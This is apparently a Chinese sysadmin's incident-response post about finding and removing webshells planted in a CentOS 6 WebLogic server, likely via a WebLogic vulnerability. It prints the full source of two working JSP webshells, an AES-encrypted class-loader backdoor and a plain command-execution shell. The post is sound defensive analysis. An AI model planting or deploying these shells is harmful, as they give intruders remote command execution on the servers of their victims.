检查Centos6系统日志时，无意中发现一个半夜23点时执行su命令的日志。

Sep  2 09:55:42 Web1 sshd[26868]: PAM adding faulty module: /lib64/security/pam_tally.so
Sep  2 09:55:52 Web1 sshd[26868]: pam_unix(sshd:session): session opened for user webuser by (uid=0)
Sep  2 10:03:10 Web1 sshd[26868]: pam_unix(sshd:session): session closed for user webuser
Sep  2 23:05:38 Web1 su: PAM unable to dlopen(/lib64/security/pam_tally.so): /lib64/security/pam_tally.so: cannot open shared object file: No such file or directory
Sep  2 23:05:38 Web1 su: PAM adding faulty module: /lib64/security/pam_tally.so
Sep  3 10:45:24 Web1 sshd[978]: PAM unable to dlopen(/lib64/security/pam_tally.so): /lib64/security/pam_tally.so: cannot open shared object file: No such file or directory
Sep  3 10:45:24 Web1 sshd[978]: PAM adding faulty module: /lib64/security/pam_tally.so
Sep  3 10:45:34 Web1 sshd[978]: pam_unix(sshd:session): session opened for user webuser by (uid=0)

这就很奇怪了，没人会半夜去工作，又不加班，更况前面日志，都没有登陆系统的日志。

明显，主机系统很可能是被入侵了，检查其它日志信息，什么也没发现。

查看所有进程，发现有当天运行的进程命令。都是/bin/bash 或 /bin/sh。 查看这两个文件创建时间，都是正常的。

为找出入侵后有没有后门或webshell之类的文件，找查最近几天生成的文件，如下命令：

[root@Web1 ~]# find / -ctime 3

/bea/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/.shell123.jsp
/bea/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/cmdx2.jsp
/bea/user_projects/domains/base_domain/servers/AdminServer/data/ldap/ldapfiles/EmbeddedLDAP.tran
/bea/user_projects/domains/base_domain/servers/AdminServer/data/ldap/ldapfiles/EmbeddedLDAP.delete
/bea/user_projects/domains/base_domain/servers/AdminServer/data/ldap/ldapfiles/changelog.index
/bea/user_projects/domains/base_domain/servers/AdminServer/data/ldap/ldapfiles/EmbeddedLDAP.trpos
/bea/user_projects/domains/base_domain/servers/AdminServer/data/ldap/ldapfiles/EmbeddedLDAP.data
/bea/user_projects/domains/base_domain/servers/AdminServer/data/ldap/ldapfiles/EmbeddedLDAP.twpos
/bea/user_projects/domains/base_domain/servers/AdminServer/data/ldap/ldapfiles/changelog.data
/bea/user_projects/domains/base_domain/servers/AdminServer/data/ldap/ldapfiles/EmbeddedLDAP.index
/bea/user_projects/domains/base_domain/servers/AdminServer/data/ldap/replicadata/Web80.status
/bea/user_projects/domains/base_domain/servers/Web80/tmp/_WL_internal/bea_wls_internal/i1t0h
/bea/user_projects/domains/base_domain/servers/Web80/tmp/_WL_internal/bea_wls_internal/i1t0h/jsp_servlet/__cmdx2.class
/bea/user_projects/domains/base_domain/servers/Web80/tmp/_WL_internal/bea_wls_internal/i1t0h/jsp_servlet/___46_shell123.class
/bea/user_projects/domains/base_domain/servers/Web80/tmp/_WL_internal/bea_wls_internal/i1t0h/war/.shell123.jsp
/bea/user_projects/domains/base_domain/servers/Web80/logs/access.log01113
/bea/user_projects/domains/base_domain/servers/Web80/data/ldap/ldapfiles/EmbeddedLDAP.tran
/bea/user_projects/domains/base_domain/servers/Web80/data/ldap/ldapfiles/EmbeddedLDAP.delete
/bea/user_projects/domains/base_domain/servers/Web80/data/ldap/ldapfiles/EmbeddedLDAP.trpos
/bea/user_projects/domains/base_domain/servers/Web80/data/ldap/ldapfiles/EmbeddedLDAP.data
/bea/user_projects/domains/base_domain/servers/Web80/data/ldap/ldapfiles/EmbeddedLDAP.twpos
/bea/user_projects/domains/base_domain/servers/Web80/data/ldap/ldapfiles/EmbeddedLDAP.index
/bea/user_projects/domains/base_domain/LOGGER_Log_2019-08-16.txt
/bea/wlserver_10.3/server/lib/uddi.properties.booted

发现不少目录都有生成没见过的文件 cmdx2.jsp，.shell123.jsp，还有class类的文件。

[root@Web1 _WL_internal]# cd bea_wls_internal/
[root@Web1 bea_wls_internal]# cd i1t0h/
[root@Web1 i1t0h]# ls
jsp_servlet  public  war
[root@Web1 i1t0h]# cd war/

找到文件查看创建时间，明显有问题。

[root@Web1 war]# ls -al
total 32
drwxr----- 4 cwt cwt 4096 Sep  5 16:07 .
drwxr----- 5 cwt cwt 4096 Sep  2 14:15 ..
-rw-r----- 1 cwt cwt    1 Jun 20 15:20 .beamarker.dat
-rw-r----- 1 cwt cwt  611 Sep  3 11:05 cmdx666.jsp
-rw-r----- 1 cwt cwt   49 Jun 20 15:20 index.html
drwxr----- 2 cwt cwt 4096 Jun 20 15:20 META-INF
-rw-r----- 1 cwt cwt 1169 Sep  2 14:14 .shell123.jsp
drwxr----- 2 cwt cwt 4096 Jun 20 15:20 WEB-INF
 
[root@Web1 war]# cd ..
[root@Web1 i1t0h]# ls
jsp_servlet  public  war
[root@Web1 i1t0h]# cd jsp_servlet/
[root@Web1 jsp_servlet]# ls
___46_shell123.class  __cmdx2.class  __cmdx5.class  __cmdx6.class  __cmdx6$U.class  __test111.class  __test111_jspx.class
[root@Web1 jsp_servlet]# ll
total 60
-rw-r----- 1 cwt cwt  6466 Sep  2 14:15 ___46_shell123.class
-rw-r----- 1 cwt cwt  6436 Sep  2 14:50 __cmdx2.class
-rw-r----- 1 cwt cwt 15796 Sep  3 10:58 __cmdx5.class
-rw-r----- 1 cwt cwt  6044 Sep  3 11:04 __cmdx6.class
-rw-r----- 1 cwt cwt   767 Sep  3 11:04 __cmdx6$U.class
-rw-r----- 1 cwt cwt  5998 Sep  2 22:55 __test111.class
-rw-r----- 1 cwt cwt  6020 Sep  2 22:56 __test111_jspx.class

这是入侵都留下的文件内容。

[root@Web1 war]# cat cmdx6.jsp
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>

[root@Web1 war]# cat .shell123.jsp
<%@ page contentType="text/html; charset=UTF-8" %>
<%@ page import="java.io.*" %>

<%
String cmd = request.getParameter("cmd");
String output = "";
if (cmd !=null && cmd != "")
    {
        String[] command = System.getProperty("os.name").toLowerCase().indexOf("windows")>-1 ? new String[] {"cmd.exe", "/c", cmd} : new String[] {"/bin/sh", "-c", cmd};

        String s = null;
        try
            {
                Process p = Runtime.getRuntime().exec(command);
                BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
                while ((s = sI.readLine()) != null)
                    {
                        output += s +"\r\n";
                    }
                BufferedReader sI1 = new BufferedReader(new InputStreamReader(p.getErrorStream()));
                while ((s = sI1.readLine()) != null)
                    {
                        output += s +"\r\n";
                    }
            }
        catch (IOException e)
            {
                e.printStackTrace();
            }

    }
    else output="cmd shell";
%>

<pre> <code><%=output%> </code></pre>

最后发现不正常时间创建或是有问题的文件，都删除掉，结束掉异常进程。

检查定时任务，都是正常的。

看来是通过weblogic漏洞或是jsp应用漏洞入侵的，建议有weblogic的用户，有漏洞补丁一定要升级。

另外有防火墙，一定要严格限制访问网络，由于这边的主机网络限制严格，只开通了外网需要的端口，

主机本身不能访问外网，所以入侵都什么都没法操作，所以没有什么损失。